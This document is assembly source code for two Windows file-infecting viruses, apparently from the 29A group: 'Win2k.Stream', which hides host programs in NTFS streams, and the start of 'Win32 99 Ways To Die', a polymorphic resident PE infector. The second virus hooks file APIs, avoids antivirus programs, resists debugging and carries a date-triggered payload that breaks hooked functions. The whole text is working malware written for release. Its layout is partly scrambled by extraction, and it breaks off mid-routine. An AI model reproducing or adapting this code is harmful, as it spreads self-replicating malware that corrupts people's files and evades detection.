;compression flag STARTUPINFO STRUCT ;used by CreateProcessA API cb DWORD ? lpReserved DWORD ? lpDesktop DWORD ? lpTitle DWORD ? dwX DWORD ? dwY DWORD ? dwXSize DWORD ? dwYSize DWORD ? dwXCountChars DWORD ? dwYCountChars DWORD ? dwFillAttribute DWORD ? dwFlags DWORD ? wShowWindow WORD ? cbReserved2 WORD ?

lpReserved2 DWORD ? hStdInput DWORD ? hStdOutput DWORD ? hStdError DWORD ? STARTUPINFO ENDS PROCESS_INFORMATION STRUCT hProcess DWORD ? hThread DWORD ? dwProcessId DWORD ? dwThreadId DWORD ? PROCESS_INFORMATION ENDS

@pushvar macro variable, empty ;macro for pushing variablez local next_instr ifnb <empty> %out too much arguments in macro '@pushvar' .err endif call next_instr variable next_instr: endm

.data extExe db '*.exe',0 ;search mask

fHandle dd ? ;file search handle file_name db MAX_PATH dup(?) ;actual program name db MAX_PATH dup(?) file_name2 db MAX_PATH dup(?) ;temprorary file db 4 dup (?) WFD WIN32_FIND_DATA ? ;win32 find data proc_info PROCESS_INFORMATION <> ;used by CreateProcessA startup_info STARTUPINFO <> ;... .code Start: ;start of virus call GetVersion ;get OS version cmp al,5 ;5 = Win2000 jnz msgBox ;quit if not Win2000 mov edi,offset file_name push MAX_PATH push edi push 0 call GetModuleFileNameA ;get path+filename of actual ;program push offset WFD push offset extExe call FindFirstFileA ;find first file to infect test eax,eax jz end_host mov [fHandle],eax ;save handle

search_loop: call infect push push call offset WFD dword ptr [fHandle] FindNextFileA

;try to infect file

;try to find next file

test eax,eax jne search_loop push call

;and infect it

dword ptr [fHandle] FindClose ;close file search handle

end_host: mov esi,offset file_name ;get our filename push esi @endsz dec esi mov edi,esi mov eax,"RTS:" ;append there :"STR" stream stosd ;name pop esi call xchg GetCommandLineA eax,edi ;get command line ;to EDI

;esi - app name ;edi - cmd line xor eax,eax push offset proc_info push offset startup_info push eax push eax push eax push eax push eax push eax push edi push esi call CreateProcessA ;jump to host code xchg eax,ecx jecxz msgBox ;if error, show message box end_app: push call

0 ExitProcess

;exit

msgBox: push 1000h ;show some lame msg box :) @pushsz "Win2k.Stream by Benny/29A & Ratter" ;copyleft :] @pushsz "This cell has been infected by [Win2k.Stream] virus!" push 0 ;with name of virus and authorz call MessageBoxA jmp end_app

infect: push offset [WFD.WFD_szFileName] call GetFileAttributesA ;check if the file is NTFS test eax,800h ;compressed = already infected jz next_infect ret ;quit then next_infect: push offset [WFD.WFD_szFileName] mov byte ptr [flagz],OPEN_EXISTING call Create_File ;open found program jz infect_end xor eax,eax push eax

@pushvar <dd ?> push eax push eax push 4 @pushvar <dd 1> ;default compression push FSCTL_SET_COMPRESSION push ebx ;NTFS compress it = call DeviceIoControl ;mark as already infected ; = and save disk space :) push ebx call CloseHandle ;close file handle mov esi,offset file_name2 push esi push 0 @pushsz "str" @pushsz "." call GetTempFileNameA test eax,eax jz infect_end

;create name for temp file

mov edi,offset [WFD.WFD_szFileName] push 0 push esi push edi call CopyFileA ;copy there victim program test eax,eax jz infect_end

push push push call push

0 edi offset file_name CopyFileA esi

;copy ourself to victim program

mov esi,edi @endsz xchg esi,edi dec edi mov eax,"RTS:" stosd xor al,al stosb call Create_File jz infect_end push push call xchg 0 ebx GetFileSize eax,edi

;append :"STR" stream to ;victim program filename

;open victim file

;get its size

push PAGE_READWRITE push MEM_COMMIT or MEM_RESERVE push edi push 0 call VirtualAlloc ;allocate enough memory test eax,eax ;for file content jz infect_end_handle xchg eax,esi

xor eax,eax push eax @pushvar <file_size push edi push esi push ebx call ReadFile test eax,eax jz infect_end_handle push call push call ebx CloseHandle

dd

?>

;read file content to ;allocated memory

;close its file handle

offset file_name2 DeleteFileA

;delete temporary file

mov byte ptr [flagz],CREATE_ALWAYS push offset [WFD.WFD_szFileName] call Create_File ;open stream jz infect_end_dealloc push 0 mov ecx,offset file_size push ecx push dword ptr [ecx] push esi push ebx call WriteFile test eax,eax jz infect_end_handle

;write there victim program

infect_end_handle: push ebx call CloseHandle ;close its file handle infect_end_dealloc: push MEM_DECOMMIT push dword ptr [file_size] push esi call VirtualFree ;free allocated memory push MEM_RELEASE push 0 push esi call VirtualFree ;release reserved part of mem infect_end: ret ; [esp+4] - file_name Create_File: ;proc for opening file xor eax,eax push eax push eax db 6ah flagz db OPEN_EXISTING ;variable file open flag push eax push eax push GENERIC_READ or GENERIC_WRITE push dword ptr [esp+1ch] call CreateFileA ;open file xchg eax,ebx ;handle to EBX inc ebx ;is EBX -1? lahf ;store flags dec ebx ;correct EBX

sahf retn end Start

4

;restore flags ;quit from proc ;end of virus

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

99 Ways To Die Coded by Bumblebee/29a

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ . It could seem like a remake of Win32.RainSong. But i feel it's a quite new virus. I ever try to re-use some 'well coded' piezes of code, so this virus has little parts of RainSong, AOC, ... . I hope you'll find it interesting, even if you've seen my previous viruses yet due it infects dinamic link libraries and executables. . The name this time is due a kewl song by Megadeth. 99 Ways to die! ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ . This is the source code of a VIRUS. The author is not responsabile of any damage that may occur due to the assembly of this file. Use it at your own risk. Cuidadiiin! ÚÄÄÄÄÄÄÄÄÄÄ¿ ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄÄÙ . Win32 per-process resident PE infector. . Infects 10 files per time from current and windows folders. . Infection increasing last section. . Uses EPO tech. If it cannot apply EPO, it doesn't infect. This makes the virus more hard to detect, but infection ratio falls a bit... . Uses variable encryption with polymorphism and variable key slide. . Size padding as infection sign. Also avoids to infect files with CERW attributes in last section (i assume they're infected yet). Marks files that are not adequate to be infected. . Updates PE header checksum after infection. . Hooks: CreateFileA MoveFileA CopyFileA CreateProcessA SetFileAttributesA GetFileAttributesA SearchPathA SetCurrentDirectoryA . Gets KERNEL32.DLL address using SEH and searches for Win9x, WinNt and Win2k. . Uses CRC32 instead of names to get needed APIs. . Self integrity check using CRC32. This is easy to implement and quite effective way to make debug harder. . Infects PE files with extension: EXE SCR CPL DLL. . Takes care of the relocations (it infects DLL). . Avoids infect most used av (only in runtime part). . Has active payload about a year after infection. Payload remains active a whole month. At this month hooked API will not work. This is not as 'terrible' as it seems. User can change the date... I know avers are going to say '...it's a dangerous...' shit. There are other interesting things, but i think is better you take a look to the comments inside the code. Moreover in 29#5 there is a little article about considerations while infecting DLL.

; I realy need a break... no more virus coding for some months. I hope ; you'll find nice this release. I have an idea about a nice tech... ; ; ; The way of the bee ; .486p locals .model flat,STDCALL extrn extrn ; ; Some macros and equs ; @strz @@b: db @@a: push endm ; Notice this could work only in my system due the harcoded address of ; MessageBoxA, but this is only for debug in my comp ;) @debug macro title,reg pushad push 1000h @@tit: @strz title pop eax add eax,ebp push eax push reg push 0h mov eax,0bff5412eh call eax popad endm @hook macro lea jmp ApiAddress eax,ApiAddress generalHook offset @@b string,0 macro jmp string @@a ExitProcess:PROC MessageBoxA:PROC ; needed for 1st generation

endm vSize PADDING STRINGTOP crptSize equ equ equ equ vEnd-vBegin 101 160 vSize-5

; from BC++ Win32 API on-line Reference WIN32_FIND_DATA struc dwFileAttributes dd 0 dwLowDateTime0 dd ? ; creation dwHigDateTime0 dd ? dwLowDateTime1 dd ? ; last access dwHigDateTime1 dd ? dwLowDateTime2 dd ? ; last write dwHigDateTime2 dd ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved dd 0,0

cFileName cAlternateFilename WIN32_FIND_DATA

db db db ends

260 dup(0) 14 dup(0) 2 dup(0)

.DATA ; dummy data db 'WARNING - This is a virus carrier - WARNING' .CODE inicio: pushad call lea mov call mov xor popad

; now i've realized i ever ; put this label in spanish! getDelta esi,vBegin+ebp edi,vSize-4 CRC32 dword ptr [myCRC32+ebp],eax dword ptr [hostRET+ebp],eax ; setup CRC32 for 1st ; generation

; hide hostEP

; ; 99Ways begins here! ; vBegin label byte call crypt

; decrypt

; here starts encrypted data -> vBegin + 5 pushad ; get delta offset call getDelta mov xor lea mov call cmp je cli call eax,dword ptr [myCRC32+ebp] dword ptr [hostRET+ebp],eax esi,vBegin+ebp edi,vSize-4 CRC32 eax,dword ptr [myCRC32+ebp] skipFakeProcess ; restore hostEP ; before CRC32 ; integrity check ; using CRC32

$

; this will fake the proc

skipFakeProcess: mov esi,dword ptr [kernel32+ebp] call GetKernel32 jnc getAPIsNow mov call jnc mov call jnc mov esi,077f00000h GetKernel32 getAPIsNow esi,077e00000h GetKernel32 getAPIsNow esi,0bff70000h

; test last used

; test for winNt

; test for win2k

; test for win9x

call jc

GetKernel32 returnHost

getAPIsNow: ; now get APIs using CRC32 mov edi,0bff70000h ; coded using win9x kernel32 equ $-4 ; ^ this is a nice way to optimize code and hide data, ; almost all the non-temporary data can be plazed inside code! mov esi,edi mov esi,dword ptr [esi+3ch] add esi,edi mov esi,dword ptr [esi+78h] add esi,edi add esi,1ch lodsd add mov lodsd add mov lodsd add mov sub lodsd mov xor mov lea searchl: mov add mov add push xor movzx call xchg pop cmp je add inc push mov cmp pop je jmp fFound: shr add xor mov shl add mov edx,1 edx,dword ptr [ordinals+ebp] ebx,ebx bx,word ptr [edx] ebx,2 ebx,dword ptr [address+ebp] ecx,dword ptr [ebx] esi,dword ptr [names+ebp] esi,edx esi,dword ptr [esi] esi,edi eax edx edi edi,edi di,byte ptr [eax+4] CRC32 ebx,eax edi edx eax ebx,dword ptr [eax] fFound edx,4 dword ptr [expcount+ebp] edx edx,dword ptr [expcount+ebp] dword ptr [nexports+ebp],edx edx returnHost searchl

eax,edi dword ptr [address+ebp],eax eax,edi dword ptr [names+ebp],eax eax,edi dword ptr [ordinals+ebp],eax esi,16 dword ptr [nexports+ebp],eax edx,edx dword ptr [expcount+ebp],edx eax,FSTAPI+ebp

add mov add xor mov lea cmp jb

ecx,edi dword ptr [eax+5],ecx eax,9 edx,edx dword ptr [expcount+ebp],edx ecx,ENDAPI+ebp eax,ecx searchl

; make a copy of virus in memory and work there push 00000040h push 00001000h OR 00002000h push (vSize+1000h) push 0h call dword ptr [_VirtualAlloc+ebp] or eax,eax jz returnHost lea sub add lea mov mov rep edi,vBegin+ebp edi,dword ptr [virusEP+ebp] dword ptr [imageBase+ebp],edi esi,vBegin+ebp edi,eax ecx,vSize movsb

; fix relocations ; in the hook routine

; patch file loaded copy call patchVirusBody ; jmp into memory copy - put into edi the return address ; for the memory copy lea edi,vBegin+ebp add eax,offset memCopy-offset vBegin push eax ret memCopy: ; get delta offset another time for memory copy call getDelta ; setup the ret to jmp patched virus copy mov dword ptr [retPatch+ebp],edi mov lea push call byte ptr [payload+ebp],0 edx,dateTime+ebp edx dword ptr [_GetSystemTime+ebp]

lea edx,dateTime+ebp mov ax,word ptr [edx+2] mov bx,-1 countdown equ $-2 ; another time cmp bx,ax jne skipPay mov skipPay: byte ptr [payload+ebp],1

; the day arrived?

; alloc a temporary buffer to generate the poly sample ; of the virus ready to infect

push push push push call or jz mov

00000004h 00001000h OR 00002000h (vSize+1000h) 0h dword ptr [_VirtualAlloc+ebp] eax,eax quitFromMem dword ptr [memHnd+ebp],eax

; the same polymorphic routine is used for each infection ; in the current execution of the virus call dword ptr [_GetTickCount+ebp] mov edi,dword ptr [memHnd+ebp] add edi,vSize mov ecx,(crptSize/4)-(4-(crptSize MOD 4)) call GenDCrpt ; store the size of the sample (for infection process) add eax,vSize mov dword ptr [gensize+ebp],eax ; Hook the API to get per-process residency ; Notice this must be called before any infection call hookApi ; set infection counter to 10 mov byte ptr [infCount+ebp],10 call infectDir cmp je lea push push call or jz push lea push call or jz lea push call or jz call lea push call byte ptr [infCount+ebp],0 quitFromMem

; infect current ; better performance

esi,currentPath+ebp ; get current directory esi STRINGTOP dword ptr [_GetCurrentDirectoryA+ebp] eax,eax quitFromMem STRINGTOP ; get windows directory esi,tmpPath+ebp esi dword ptr [_GetWindowsDirectoryA+ebp] eax,eax quitFromMem esi,tmpPath+ebp ; goto windows directory esi dword ptr [_SetCurrentDirectoryA+ebp] eax,eax quitFromMem infectDir ; infect windows folder

esi,currentPath+ebp ; go back home esi dword ptr [_SetCurrentDirectoryA+ebp]

; this is the way to return host ; from the memory copy jmp quitFromMem returnHost:

; patch virus call patchVirusBody quitFromMem: popad push retPatch ret

1234568h equ $-4

; i know this way to go back to host it's a bit weird but ; supports relocations (for DLL) and patches the virus ; to avoid be called more than once and ... patchVirusBody: lea edi,vBegin+ebp mov dword ptr [retPatch+ebp],edi mov byte ptr [edi],0e9h mov esi,offset fakeHost hostRET equ $-4 ; hehe mov edx,edi sub edx,offset vBegin virusEP equ $-4 ; hehehe add esi,edx sub esi,5 sub esi,edi mov dword ptr [edi+1],esi ret ; ; Returns Delta offset into ebp. ; getDelta: call delta delta: pop ebp sub ebp,offset delta ret ; ; Gets KERNEL32.DLL address in memory. ; GetKernel32: pushad xor edx,edx lea eax,dword ptr [esp-8h] xchg eax,dword ptr fs:[edx] lea edi,GetKernel32Exception+ebp push edi push eax cmp jne mov cmp jne mov xor pop pop popad clc ret word ptr [esi],'ZM' GetKernel32NotFound dx,word ptr [esi+3ch] esi,dword ptr [esi+edx+34h] GetKernel32NotFound dword ptr [kernel32+ebp],esi edi,edi dword ptr fs:[edi] eax

GetKernel32Exception: xor edi,edi mov eax,dword ptr fs:[edi] mov esp,dword ptr [eax] GetKernel32NotFound: xor edi,edi pop dword ptr fs:[edi] pop eax popad stc ret ; ; This routine makes CRC32. ; CRC32: cld xor ecx,ecx dec ecx mov edx,ecx push ebx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jnz NextByteCRC pop ebx not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret ; ; This routine hooks the APIs that gives virus residency. ; Takes care of relocations. ; hookApi: pushad ; init the sem to free mov byte ptr [semHook+ebp],0 mov edx,400000h imageBase equ $-4 ; ;) cmp word ptr [edx],'ZM' jne noHook

mov edi,edx add edi,dword ptr [edx+3ch] cmp word ptr [edi],'EP' jne noHook mov edi,dword ptr [edi+80h] ; RVA import or edi,edi jz noHook add edi,edx searchK32Imp: mov esi,dword ptr [edi+0ch] ; get name or esi,esi jz noHook add esi,edx push edi ; save (stringUp doesn't) call stringUp pop edi jc nextName lea esi,stringBuffer+ebp cmp dword ptr [esi],'NREK' ; look for Kernel32 module jne nextName cmp dword ptr [esi+4],'23LE' je k32ImpFound nextName: add edi,14h mov esi,dword ptr [edi] or esi,esi jz noHook jmp searchK32Imp k32ImpFound: mov esi,dword ptr [edi+10h] ; get address table or esi,esi jz noHook add esi,edx lea ecx,HOOKTABLEEND+ebp nextImp: ; search for APIs lea edx,HOOKTABLEBEGIN+ebp lodsd or eax,eax jz noHook checkNextAPI: mov edi,dword ptr [edx] cmp eax,dword ptr [edi+ebp] je doHook add edx,8 cmp edx,ecx jne checkNextAPI jmp nextImp doHook: mov eax,dword ptr [edx+4] add eax,ebp mov dword ptr [esi-4],eax add edx,8 cmp edx,ecx jne nextImp noHook: popad ret ; ; Changes to upper case the string by esi storing into stringBuffer. ; Sets carry flag if our string buffer is small. Returns in edi the ; end of the string into the buffer. ; stringUp:

push esi eax lea edi,stringBuffer+ebp mov eax,edi add eax,STRINGTOP stringUpLoop: cmp eax,edi jne continueStringUp stc jmp stringUpOut continueStringUp: movsb cmp byte ptr [esi-1],'a' jb skipThisChar cmp byte ptr [esi-1],'z' ja skipThisChar add byte ptr [edi-1],'A'-'a' skipThisChar: cmp byte ptr [esi-1],0 jne stringUpLoop dec edi clc stringUpOut: pop eax esi ret ; ; The hooks. ; Hook0: @hook _CreateFileA Hook1: @hook _MoveFileA Hook2: @hook _CopyFileA Hook3: @hook _CreateProcessA Hook4: @hook _SetFileAttributesA Hook5: @hook _GetFileAttributesA Hook6: @hook _SearchPathA Hook7: @hook _SetCurrentDirectoryA ; ; This is the general hook that provides per-process residency. ; generalHook: push eax pushad pushfd cld ; get delta offset call getDelta ; setup the return hook mov eax,dword ptr [eax+ebp] mov dword ptr [esp+24h],eax ; check mov or jz if filename==NULL esi,dword ptr [esp+2ch] esi,esi leaveHook

; check semaphore cmp byte ptr [semHook+ebp],0 jne leaveHook mov cmp je byte ptr [semHook+ebp],1 byte ptr [payload+ebp],0 skipPayloadEffect

; in the date of activation all hooked APIs will fail xor eax,eax mov dword ptr [esp+2ch],eax jmp hookInfectionFail skipPayloadEffect: call stringUp jc hookInfectionFail push sub cmp pop jna cmp je cmp je cmp je cmp jne edi edi,esi edi,5 edi hookInfectionFail dword ptr [edi-4],'EXE.' infectThisFile dword ptr [edi-4],'LLD.' infectThisFile dword ptr [edi-4],'LPC.' infectThisFile dword ptr [edi-4],'RCS.' hookInfectionFail ; test the string it's ; long enought

infectThisFile: lea esi,stringBuffer+ebp call infect

; erm... here could touch ; any av!

hookInfectionFail: mov byte ptr [semHook+ebp],0 leaveHook: popfd popad ret ; ; Infects PE files in current directory. It affects EXE, SCR, CPL and DLL ; extensions. ; infectDir: pushad lea push lea push call inc jz dec mov findNext: lea esi,find_data+ebp esi esi,fndMask+ebp esi dword ptr [_FindFirstFileA+ebp] eax notFound eax dword ptr [findHnd+ebp],eax

esi,find_data.cFileName+ebp

call lea push sub cmp pop jna cmp je cmp je cmp je cmp jne validFileExt: mov cmp jb mov xor div or jz testIfAv: lea mov testIfAvL: push mov testAvLoop: cmp jne pop jmp contTestLoop: inc cmp jne pop add loop lea call cmp je skipThisFile: lea push push call or jnz infectionDone: push call

stringUp esi,stringBuffer+ebp edi edi,esi edi,5 edi skipThisFile dword ptr [edi-4],'EXE.' validFileExt dword ptr [edi-4],'LLD.' validFileExt dword ptr [edi-4],'LPC.' validFileExt dword ptr [edi-4],'RCS.' skipThisFile

; test the string it's ; long enought

eax,dword ptr [find_data.nFileSizeLow+ebp] eax,8000h skipThisFile ; at least 8000h bytes? ecx,PADDING ; test if it's infected edx,edx ; yet ecx edx,edx ; reminder is zero? skipThisFile ; let's search for strings ; that may appear in av progs edi,avStrings+ebp ecx,vStringsCout esi ax,word ptr [edi] word ptr [esi],ax contTestLoop esi skipThisFile esi byte ptr [esi+3],0 testAvLoop esi edi,2 testIfAvL esi,stringBuffer+ebp infect byte ptr [infCount+ebp],0 infectionDone ; test 10 infections

; skip the extension

esi,find_data+ebp esi dword ptr [findHnd+ebp] dword ptr [_FindNextFileA+ebp] eax,eax findNext

; Find next file

dword ptr [findHnd+ebp] dword ptr [_FindClose+ebp]

notFound: popad ret ; ; Infects PE file increasing last section. ; ; ESI: addr of file name of PE to infect. ; infect: pushad mov dword ptr [fNameAddr+ebp],esi push push call pop inc jz dec mov push push push call pop or jz xor push push push push push push push call inc jz dec mov push push call inc jz dec mov lea push lea push lea push push call esi esi dword ptr [_GetFileAttributesA+ebp] esi eax infectionError eax dword ptr [fileAttrib+ebp],eax esi 00000080h esi dword ptr [_SetFileAttributesA+ebp] esi eax,eax infectionError eax,eax eax 00000080h 00000003h eax eax 80000000h OR 40000000h esi dword ptr [_CreateFileA+ebp] eax infectionErrorAttrib eax dword ptr [fHnd+ebp],eax 0h eax dword ptr [_GetFileSize+ebp] eax infectionErrorClose eax dword ptr [fileSize+ebp],eax edi,fileTime2+ebp edi edi,fileTime1+ebp edi edi,fileTime0+ebp edi dword ptr [fHnd+ebp] dword ptr [_GetFileTime+ebp]

or jz xor push push push push push push call or jz mov xor push push push push push call or jz mov mov cmp jne cmp je add cmp ja add cmp jb cmp jne mov and jz xor mov dec jz mov cmp je mov mov add add mov

eax,eax infectionErrorClose eax,eax eax eax eax 00000004h eax dword ptr [fHnd+ebp] dword ptr [_CreateFileMappingA+ebp] eax,eax infectionErrorClose dword ptr [fhmap+ebp],eax eax,eax eax eax eax 00000004h OR 00000002h dword ptr [fhmap+ebp] dword ptr [_MapViewOfFile+ebp] eax,eax infectionErrorCloseMap dword ptr [mapMem+ebp],eax edi,eax word ptr [edi],'ZM' infectionErrorCloseUnmap word ptr [edi+12h],'(:' infectionErrorCloseUnmap edi,dword ptr [edi+3ch] eax,edi notValidFile eax,dword ptr [fileSize+ebp] eax,edi notValidFile word ptr [edi],'EP' notValidFile edx,dword ptr [edi+16h] edx,2h notValidFile edx,edx dx,word ptr [edi+5ch] edx notValidFile edx,edi dword ptr [edx+28h],0 notValidFile esi,edi eax,18h ax,word ptr [edi+14h] edi,eax dword ptr [fstSec+ebp],edi ; test code base!=0 ; this check is for some ; DLL with no exec code ; not valid file?

; avoid fucking headers

; avoid fucking headers

; test it's a valid PE ; i want executable

; i don't want NATIVE

push mov mov dec mul add pop test jnz mov and cmp je mov add mov

edx cx,word ptr [esi+06h] ax,28h cx cx edi,eax edx dword ptr [edi+24h],10000000h notValidFile eax,dword ptr [edi+24h] eax,0e0000020h eax,0e0000020h infectionErrorCloseUnmap eax,dword ptr [edi+10h] eax,dword ptr [edi+14h] dword ptr [fileSize+ebp],eax ; avoid this kind of section ; we can corrupt it!

; mmm... This is infected yet

; i rely on the headers...

sub eax,dword ptr [edi+14h] ; calc our RVA add eax,dword ptr [edi+0ch] mov dword ptr [myRVA+ebp],eax ; save virus entry point to calc relocations in ; execution time add eax,dword ptr [esi+34h] mov dword ptr [virusEP+ebp],eax call jc push mov add mov add sub sub mov xchg add add mov pop mov push mov xor div inc or jz xor mul mov rvaFixDone: searchEPO notValidFile edi edx ecx edx,dword ptr [myRVA+ebp] edx,dword ptr [esi+34h] edi,dword ptr [EPORva+ebp] edi,dword ptr [esi+34h] edx,edi edx,5 ecx,dword ptr [EPOAddr+ebp] dword ptr [ecx+1],edx edx,edi edx,5 dword ptr [hostRET+ebp],edx ecx edx edi eax,dword ptr [edi+08h] edx ecx,dword ptr [edx+38h] edx,edx ecx eax edx,edx rvaFixDone edx,edx ecx dword ptr [edi+08h],eax ; Search for a call

; patch the call ; edx = dest rva ; edi = call rva ; edx patch the call

; get the rva ; and store it ;)

; ; ; ;

fix the virtual size if needed some PE have strange virt size (cdplayer p.e.)

; save the fixed virt size

; save image base for hook API mov edx,dword ptr [esi+34h] mov dword ptr [imageBase+ebp],edx pop edx

push mov add mov xor div inc xor mul pop add add or push mov mov xor div inc xor mul pop add mov xor mov mov impSectionLoop: mov add cmp jb add dec jnz

edx eax,BUFFERSIZE eax,vSize ecx,dword ptr [edx+38h] edx,edx ecx eax edx,edx ecx edx dword ptr [edi+08h],eax dword ptr [edx+50h],eax dword ptr [edi+24h],0e0000020h edx eax,dword ptr [gensize+ebp] ecx,dword ptr [edx+3ch] edx,edx ecx eax edx,edx ecx edx dword ptr [edi+10h],eax edi,dword ptr [edx+80h] ecx,ecx cx,word ptr [edx+06h] esi,dword ptr [fstSec+ebp]

; calc the new virtual size ; for the section

; fix the virtual size ; fix the image size ; set the properties ; calc new size for ; the section

; store the phys size ; get RVA Import ; number of sections ; get 1st section addr ; look for import section

ebx,dword ptr [esi+0ch] ebx,dword ptr [esi+08h] edi,ebx impSectionFound esi,28h ecx impSectionLoop

; test it's inside this ; section

impSectionFound: or dword ptr [esi+24h],80000000h push mov add xor div inc xor mul mov pop edx ecx,PADDING eax,dword ptr [fileSize+ebp] edx,edx ecx eax edx,edx ecx dword ptr [pad+ebp],eax edx

; make writable ; calc file padding ; (infection sign)

; update the virus sample ready to infect. call updateVSample push call dword ptr [mapMem+ebp] dword ptr [_UnmapViewOfFile+ebp]

push call xor push push push push push push call or jz mov xor push push push push push call or jz mov mov mov mov add rep xchg mov sub mov sub xor rep

dword ptr [fhmap+ebp] dword ptr [_CloseHandle+ebp] eax,eax eax dword ptr [pad+ebp] eax 00000004h eax dword ptr [fHnd+ebp] dword ptr [_CreateFileMappingA+ebp] eax,eax infectionErrorClose dword ptr [fhmap+ebp],eax eax,eax dword ptr [pad+ebp] eax eax 00000004h OR 00000002h dword ptr [fhmap+ebp] dword ptr [_MapViewOfFile+ebp] eax,eax infectionErrorCloseMap dword ptr [mapMem+ebp],eax ecx,dword ptr [gensize+ebp] esi,dword ptr [memHnd+ebp] edi,eax edi,dword ptr [fileSize+ebp] movsb ecx,eax eax,edi eax,ecx ecx,dword ptr [pad+ebp] ecx,eax eax,eax stosb ; I want the padding ; to be zeroes...

; update the PE checksum mov inc shr mov call add mov mov mov mov cmp adc sub sub mov cmp adc sub sub movzx ecx,dword ptr [pad+ebp] ecx ecx,1 esi,dword ptr [mapMem+ebp] CheckSumMappedFile esi,dword ptr [esi+3ch] word ptr [pchcks+ebp],ax edx,1 ecx,edx ax,word ptr [esi+58h] word ptr [pchcks+ebp],ax ecx,-1 word ptr [pchcks+ebp],cx word ptr [pchcks+ebp],ax ax,word ptr [esi+5ah] word ptr [pchcks+ebp],ax edx,-1 word ptr [pchcks+ebp],dx word ptr [pchcks+ebp],ax ecx,word ptr [pchcks+ebp]

; calc partial check sum ; goto begin of nt header ; complete the check sum

add mov dec

ecx,dword ptr [pad+ebp] dword ptr [esi+58h],ecx byte ptr [infCount+ebp]

; set new check sum ; another infection

infectionErrorCloseUnmap: push dword ptr [mapMem+ebp] call dword ptr [_UnmapViewOfFile+ebp] infectionErrorCloseMap: push dword ptr [fhmap+ebp] call dword ptr [_CloseHandle+ebp] lea push lea push lea push push call edi,fileTime2+ebp edi edi,fileTime1+ebp edi edi,fileTime0+ebp edi dword ptr [fHnd+ebp] dword ptr [_SetFileTime+ebp]

infectionErrorClose: push dword ptr [fHnd+ebp] call dword ptr [_CloseHandle+ebp] infectionErrorAttrib: push dword ptr [fileAttrib+ebp] push dword ptr [fNameAddr+ebp] call dword ptr [_SetFileAttributesA+ebp] infectionError: popad ret ; ; Here the virus marks the file as no valid. This avoids later re-check ; the file in next executions of virus. Notice the infected files are not ; marked, for this issue i use size padding and test last section properties ; in second instance. Avers will find this mark in files that the virus ; doesn't want ;) ; notValidFile: mov edi,dword ptr [mapMem+ebp] mov word ptr [edi+12h],'(:' ; checked but not valid! jmp infectionErrorCloseUnmap ; ; This my 'search EPO' routine. Searches for a call into the code section ; that points to: ; ; push ebp ; mov ebp,esp ; ; This is the way the high level languages get the arguments from a call ; of a procedure. If this code is found i assume the call found it's ; correct and i patch it to jump into the virus. ; searchEPO: pushad mov edi,dword ptr [esi+28h] ; get host EP xor mov ecx,ecx cx,word ptr [esi+06h]

; number of sections

mov sectionLoop: mov add cmp jb add dec jnz stc jmp sectionFound: test jnz

esi,dword ptr [fstSec+ebp]

; get 1st section addr ; look for code section

ebx,dword ptr [esi+0ch] ebx,dword ptr [esi+08h] edi,ebx sectionFound esi,28h ecx sectionLoop searchEPOOut

; test it's inside this ; section

dword ptr [esi+24h],10000000h searchEPOFail

; avoid this kind of section ; we can corrupt it!

push esi sub edi,dword ptr [esi+0ch] add edi,dword ptr [esi+14h] mov ecx,dword ptr [esi+10h] cmp ecx,edi jna searchEPOFail sub ecx,edi add edi,dword ptr [mapMem+ebp] mov ebx,edi add ebx,ecx sub ebx,10h callLoop: cmp byte ptr [edi],0e8h jne continueCallLoop mov edx,edi add edx,dword ptr [edi+1] add edx,5 cmp ebx,edx jb continueCallLoop cmp edx,dword ptr [mapMem+ebp] jb continueCallLoop mov esi,edx mov dx,word ptr [esi] cmp dx,08b55h jne continueCallLoop mov dx,word ptr [esi+1] cmp dx,0ec8bh jne continueCallLoop mov dword ptr [EPOAddr+ebp],edi sub edi,dword ptr [mapMem+ebp] pop esi add edi,dword ptr [esi+0ch] sub edi,dword ptr [esi+14h] mov dword ptr [EPORva+ebp],edi clc jmp searchEPOOut continueCallLoop: inc edi loop callLoop searchEPOFail: pop esi stc searchEPOOut: popad ret ;

; get raw address

; high secure fence ; loop that searches ; for the call

; get rva address

; Updates the virus sample ready to infect in our memory buffer. ; updateVSample: lea edx,dateTime+ebp push edx call dword ptr [_GetSystemTime+ebp] lea xor mov dec or jnz add esi,dateTime+ebp eax,eax ax,word ptr [esi+2] eax eax,eax storeCountdown eax,12 ; save month-1

